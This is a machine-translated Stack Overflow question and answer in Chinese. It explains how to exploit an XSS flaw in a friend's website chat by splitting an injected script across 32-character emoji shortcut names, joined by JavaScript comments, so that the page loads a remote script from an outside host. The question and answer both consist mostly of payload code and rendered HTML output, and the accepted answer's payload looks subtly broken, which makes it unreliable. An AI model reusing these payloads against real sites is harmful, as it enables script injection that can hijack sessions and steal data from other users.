我在 friend 的网站聊天中发现了 XSS。
我有一个多行文本框,我可以上传小图标,并且可以像表情符号一样使用它们。为了使用这些表情符号,我必须用快捷方式命名这些表情符号,例如:/haha
, /rofl
和别的。
这些快捷方式可以用任何内容进行修改,但长度不得超过 32 个字符。当我输入快捷方式时,不会清理任何字符。
这是 HTML 代码:
<div class="message"><span class="timestamp">7:09:43 PM - </span><span class="username"><span class="level1">fooUser</span></span><span>: </span><span><img src="https://path/to/emojiFile" alt="/haha" title="/haha" data-emoji="emojiFile" border="0"></span></div>
/haha
甚至可以是<script>alert(1)</script>
,但长度必须为 32 个字符。
所以我想我可以为这些创建一个有效负载,但我想将它分成每个表情符号。
我正在做的是这样的:
var x=/*
*/document.createElement/*
*/("script");x.src=/*
*/"//mywebs"+/*
*/"ite.com/a.js",/*
*/document.head.appendChild/*
*/(x);
所以我注入(inject)这个 HTML 代码:
"><script>var x=/*
*/document.createElement/*
*/("script");x.src=/*
*/"//mywebs"+/*
*/"ite.com/a.js",/*
*/document.head.appendChild/*
*/(x);</script><!--
所以每一行对应一个表情符号。这是绕过长度限制的一种巧妙的方法。
这是抽象概念:
emoji1=<script><then begin comment block>
emoji2=<end comment block>alert("Hello World")<start comment block>
emoji3=<end comment block><script>
这是结果:
<div class="message"><span class="timestamp">07:24:26 PM - </span><span class="username"><span class="level1">fooUser</span></span><span>: </span><span><img src="https://path/to/emojiFile" alt="" border="0"><script>var x=/*" title=""><script>var x=/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/document.createElement/*" title="*/document.createElement/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/("script");x.src=/*" title="*/("script");x.src=/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/"//mywebs"+/*" title="*/"//mywebs"+/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/"ite.com/a.js",/*" title="*/"ite.com/a.js",/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/document.head.appendChild/*" title="*/document.head.appendChild/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/(x);</script><!--" title="*/(x);</script><!--" data-emoji="emojiFile" />--></span></div>
基本上未经清理的 HTML 输入(我放置负载的位置)在 alt
下重复。和title
当我放置评论 block 时,可能存在某种歧义。
如何解决?
最佳答案
将脚本分成 32 个字符 block ,可以重复两次。
"><script>/*
*/p=document/*
*/q='http://mywebsite.com/'/*
*/r='mysubfolder/js/'/*
*/s='payloadfolder/a.js'/*
*/t=head/*
*/u=p.t/*
*/x=p.createElement('script')/*
*/x.src=p+q+s/*
*/u.appendChild(x)</script><!--
关于javascript - 在长度受限的输入上运行 JavaScript 代码,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/60984767/